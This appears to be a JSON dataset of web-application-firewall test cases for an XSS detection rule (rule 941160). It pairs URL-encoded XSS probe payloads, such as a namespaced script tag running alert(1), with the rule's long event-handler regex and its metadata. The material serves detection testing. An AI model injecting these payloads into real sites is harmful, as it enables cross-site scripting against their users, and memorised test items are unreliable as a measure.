|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%20src=%22data:,alert(1)%22%20/%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part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A-Z_a-z]*?a[^0-9A-Z_a-z]*?t[^0-9A-Z_a-z]*?e)|p[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m|i?[^0-9A-Z_a-z]*?f[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?e|b[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?s[^0-9A-Z_a-z]*?e|o[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?y|i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "XSS in XML Test as described in http://www.client9.com/article/five-interesting-injection-attacks/" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3Cx%20onend%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "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a-z]*?t[^0-9A-Z_a-z]*?e)|p[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m|i?[^0-9A-Z_a-z]*?f[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?e|b[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?s[^0-9A-Z_a-z]*?e|o[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?y|i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring: A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?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]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring: \"onzoom=" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%27formaction%3D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?g|m[^0-9A-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-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring: 'formaction=" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=%3C%20x%3A%20script" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?g|m[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z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-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:in